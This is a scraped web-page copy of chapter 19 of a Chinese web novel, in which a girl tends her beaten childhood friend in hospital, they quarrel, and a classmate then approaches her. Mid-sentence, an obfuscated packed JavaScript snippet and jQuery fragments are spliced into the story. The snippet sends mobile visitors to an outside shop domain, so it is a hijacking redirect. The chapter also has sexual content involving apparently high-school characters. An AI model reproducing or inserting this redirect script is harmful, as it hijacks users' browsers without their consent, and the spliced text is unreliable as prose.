文趣网 > 其他小说 > 攻略竹马,但好感度抽风中 > 19. 第 19 章
    医院里的消毒水浸染乔云之的鼻尖。

    苏恒躺在病床上,他蜷着身子,双眼紧闭,倒吸着冷气。

    苏恒的父母站在他身边,拿着毛巾一下下擦拭着他额角的薄汗。

    乔云之站在床边,身上穿着那件破掉的lo裙。

    她静静瞧着老夫妻那两张皱成一团的脸,看着他们满是茧子的手。

    乔云之开口:“伯伯,伯母,你们先休息吧。我……来照顾他。”

    “时间也不太早啦,你们在这儿待了那么久,肯定累了。”

    苏恒父母回头看她,沉沉叹口气。

    苏恒妈轻轻摸摸她的脑袋:“云云妹,你总是这么懂事……我们家对不起你啊。”

    乔云之摇摇头看着那对老夫妻:“哪里的事情啊,我都是你们带大的……”

    她深吸一口气,还是想为他说说话:“只是,伯父伯母,苏恒好像一直在被人打。”

    “我已经……”她哽住,立马咽下,“我已经知道了。看他被打,我也好难受。”

    “你们……要为他撑腰啊!”

    “云云妹,好好读书就好了,别管那么多。”苏恒爸叹口气,拉着苏恒妈,“小恒……我们给小恒买点水去,你在这里看着他。”

    望着他们远去的背影,乔云之心微微下沉——

    果然,他爸妈还是这副白开水一样的态度。

    她回过头,不愿再看他们佝偻下去的背影,她想找他了。

    她一步步走到他的身边,低头看着那些刚刚出的报告,上面文字密密麻麻写了一大堆。

    【韧带撕裂……】

    她看不懂,看不明白,只知道他一直在忍,忍受那些拳打脚踢,直至遍体鳞伤。

    “苏恒……”她站在他的病床前,对上那双无神的眼。

    苏恒不知何时已经醒了。

    “乔云之。”他失神地凝视着她,嘴角缓缓扬起,“你过来干什么?”

    “……是我把你送过来的。”她不知道该说什么,走上前去,“苏恒,我陪你……你要不要……”

    “不要。”苏恒抬起手,对着自己的脸狠狠落下一个巴掌——

    “苏恒!你干什么!”她立马冲上去,扣住他的手腕,“你疯了,为什么要打自己?”

    苏恒挑眉看向她,手一个使劲,将她的手狠狠甩开。

    “乔云之,你装什么?”他笑起来,“你不是最喜欢看我这样?”

    “躺在床上,觉得自己很可怜,然后让你来救我。”

    “怎么,揭示真相的那一刻很爽吧?”

    安抚的话语哽在她嘴边,她的眼泪夺眶而出:“你……”

    “呵。我什么我?没死,你放心。”他别过脸去,“不需要你照顾我,你走吧。”

    “你个混蛋!”她脱口而出,伸手想触摸那些被绷带包起来的地方。

    “啪!”他的手拍向她的手背,却又在即将触及时落在一边的床单上。

    “你给我……走!”他极力压着声音,可乔云之却能听见他一阵阵的喘息。

    她浑身发冷,可她还是想问他:“你……还痛吗?”

    苏恒脸上的笑终于凝固,他眼神阴沉下去,死死盯着她。

    “乔云之,你是不是傻?”

    “我当然痛啊……怎么可能不痛?报告上不是说我伤得很重吗?”

    “一样的事情总要在那边问问问!非得问出什么结果!”

    “你现在满意了吧?这就是你要的结果!你的裙子被他们弄坏,我呢,我躺在这里!”

    乔云之泪水不停往外掉,心中怒火翻涌:“所以我错了?我错哪了?错在打赵嘉明巴掌,还是错在……发现你一直被他们打?”

    “呵,都不是。”他扭过头去。

    “那是什么?你告诉我啊!”

    苏恒抬眸看她,迷离的双眼中泛起泪花:“你要帮我。你为什么要帮我?啊!”

    乔云之攥紧双拳,咬着牙:“我帮你,有错?有什么错?”

    “你帮了什么?把我帮进医院,把我越帮越远,把我帮给方晓绣?”苏恒冷笑一声,“乔云之,你能打姓赵的两巴掌,可我,什么都做不了!”

    “我是废物,一个废物!”

    “你理解不了一个废物!”

    “我理解不了,但我错在哪儿?!我不想看你……”

    “不想看?还是说你是因为自己做不了我的救世主……”

    “你说什么?”

    她扬起手,一把掐住他的衣领。

    胸口的火焰噼里啪啦涌出,裹挟着大颗大颗的泪水。乔云之扯着被单:“我没有,什么优越感!苏恒,你凭什么这么说我?”

    泪水夺取她的所有呼吸,她不知不觉离他越来越近,嘴唇快贴上他的:“你只是觉得不能扮演好学生了,没面子,对吧!你觉得这样丢脸!”

    “我、我、我……讨厌你!”

    她看着苏恒那张苍白的脸彻底凝固。

    “好、好啊。嗯,挺好。”

    他撑起身子,脸颊爆红,声音却泄了气:“乔云之,你讨厌我最好,你不要我最好,太好了。”

    “你走吧,还在这里管我这个废物做什么。”

    “好!苏恒,你听着,我……我,我走了!”乔云之大脑乱成一团,转过身“啪”的一声摔上门。

    她大步奔跑在漫长的走廊上,她不知道自己该去往何方。

    皎洁的月光洒在她的发尖,那些幻梦的雪都渐渐融化,变成淅淅沥沥的水滴。

    吵架了,她甚至连吵架内容都记不太清。她只知道他们两人对着对方说了很多垃圾话。

    她知道自己在反抗,怀着自己笨拙的所谓“少女反叛主义”。

    可是就算反叛了,做了女主角,发现了脏东西,为什么却又是现在的景象。

    小说里不都是战胜了坏人,主角幸福快乐地生活在一起吗?为什么他们却活该面对一地鸡毛?

    乔云之看着手里的跌打药膏,什么也没说,踏着月光往病房走去。

    她想自己可能也是作践自己,明明吵成这个样子,还是凭本能给他送药。

    “嗯……云云……啊哈……”他的喘息声裹挟着布料的摩擦声在她耳边响起。

    亲吻声,他在亲什么东西。

    “啪。”

    药膏落在地上。乔云之捂住嘴,一屁股跌坐在门边。

    她大脑再次混乱起来,耳边传来各种乱七八糟的声音,交缠着难以言说的黏腻感。

    恍惚间,她听到一个轻轻的“爱”字。

    她不是什么都不懂的女孩子,她总会在一些杂志上听到一些青春期躁动的言语。

    可是,第一次听见他……

    乔云之没捂住耳朵,只是抱住膝盖,夹紧腿,将那根药膏在手心搓来搓去。

    她不知道自己什么时候清醒过来,只是耳边传来一阵轻轻的冲水声,只是传来他沉睡前的哼唧声。

    她站起身,站在门口,最后还是开门进屋。

    “吱嘎——”乔云之打开病房门,攥着那药品溜到房间里。

    “恶心,变态,神经病。”她小声骂他,手轻轻掀开他的被子。

    被子下一切都是湿漉漉的,汗液、泪水混在洁白的床单上,留下一大片阴影。

    他上半身没穿衣服,只是裹了几层绷带。整个身子蜷着,手里紧紧攥着那条粉色蝴蝶结。

    他的嘴唇还碰着它。

    “你真的好恶心……”乔云之拿出药膏,扯下绑带,将指尖的药膏抹在那些裸露出来的伤口上。

    他精瘦的身体上密密麻麻全是各种痕迹,尤其是腰部,青一块紫一块,甚至有些伤口都已经长好、结痂。

    奶白的药膏如雪般融在那些淤青和伤痕之上,冰凉的触感贴着他温热的体温慢慢化开。

    她粗粗的指尖一下下轻轻推着药膏。

    淡淡的草药味沾染两人的皮肤,苦涩感渗入彼此的毛孔。

    这样,他们就能融为一体了吗?

    她指尖烫起来,连带整个脸颊都烧起来。只能摸到一边浸着冷水的毛巾。

    她没什么照顾伤者的常识,只能双手捧着那毛巾,将它拧干、捂热,铺在他的身体上。

    她一下一下地擦,为他擦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17686705|206570||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去脸上的灰尘与身上残余的药膏。

    月亮升到空中,乔云之转头看向墙上挂着的时钟。

    凌晨十一点。

    她盖好被子,小步走到他的身侧,手指蹭过那条粉色的布料。苏恒不知何时把它松开,虚虚耷拉在手心。

    “嗯……还是洗一下吧。”

    “苏恒,这种时候了你还做这种事情。”她低声骂他。

    “我看不起你。”

    滚烫的指尖顺着她的手腕内侧缓缓上移,如蛇般缠住她的手腕。

    “不要走……不要丢下我……妹妹。”他呓语,双眼紧闭,浑身颤抖。

    妹妹……

    乔云之大脑一阵刺痛。

    童年的某一天,或者是好几天,自己和他睡在一起的时候,他总会这样叽里咕噜说着梦话。

    “妹妹,我只有你了,不要走嘛。”

    那个时候自己是怎么做呢?

    “啧,算了,反正你也睡了。”

    她蹲下身,摸摸他的脑袋,拍拍他的后背,轻声回应:“我在的,我在。哥哥好好睡吧。”

    她哼起安睡的曲子,让攥着自己手腕的那只手缓缓滑落。

    月亮升到窗子外,她已经看不见。苏恒彻底沉睡后,她叠好那沾着他泪水的蝴蝶结,摆在他的身侧。

    她勾起嘴角:“真恶心,要不是看在你小时候纯良样子,我才不……”

    她越说脸越燥,只能转回身。随手从桌台上拿起一张纸条,写下一行字。

    她将字放在药膏下,转身而去,没有再回头看。

    关上病房门,乔云之大脑一片空白。她不知道自己该去往何处,这个时间……回学校吗?

    她干脆一屁股坐在走廊的椅子上,摩挲着自己的裙摆,擦拭着已经蹭掉不少的化妆品。

    她忍不住打个哈欠。

    现在这副样子肯定很丑……但也无所谓了。

    不知哪儿来的手递来一瓶高端卸妆油:“去卸个妆吧,你一定累了。今天的剧本,改得很有意思。”

    乔云之看向那人,对上她那双微微上挑的丹凤眼。

    “姜忆菽……?”

    “嗯哼,你倒是不脸盲。”

    “你还在这儿呢?”

    眼前的女生嘴角微微扬起,将自己的短发拨到脑后:“嗯,是啊。正好来医院有点事情……苏恒他怎么样?”

    “就那样呗。没死。”乔云之接过卸妆油,“谢谢你,姜同学。我们明明不熟,但谢谢你和你男朋友……呃,是男朋友吧?”

    她的嘴角一僵,随即扬起,从口袋里摸出一根烟叼在嘴角:“嗯。是啊。没事的,反正我晚自习结束也得来这儿待着。”

    “哦。”乔云之并不是很想和这种奇奇怪怪还抽烟的学霸搭话,拿着卸妆油就要往洗手间走。

    “等一下,卸妆油,你会用吗?”姜忆菽叫住她。

    乔云之更莫名其妙:“会不会用跟你有什么关系?”

    虽然她确实不知道该怎么用,迷迷糊糊就接过来了。

    “你不会。”姜忆菽拉着她进了卫生间。

    湿滑的油被抹在她的脸上,冰凉的水粘在那些油上,通通变成白色的水滴,噼里啪啦落在水槽中。

    看着镜子里自己干净的脸,乔云之终于卸掉那些沉重的脂粉。她看向镜中的自己,身边站着姜忆菽。

    姜忆菽嘴角戏谑般扬起:“看吧,我就说你不会用。”

    “……哦。”乔云之低头洗手,“谢谢你了,没什么事的话我回去了。”

    “有事。”姜忆菽轻笑一声,“关于苏恒的事。”

    她啪的一声关掉水龙头,转身看向姜忆菽:“那变态怎么了?”

    姜忆菽摸摸下巴,挑起眉:“嗯……是有关他出身的事情。”

    “他出身怎么了?”乔云之手上还沾着水,干脆撑在积水的洗手台上。

    姜忆菽哼笑一声:“没什么。不重要。”

    乔云之看向她,那抹身影在她面前化作虚无的一团黑雾,它弥漫开来,将自己彻底包裹。

    时空扭曲,她再次回到了苏恒的出租屋。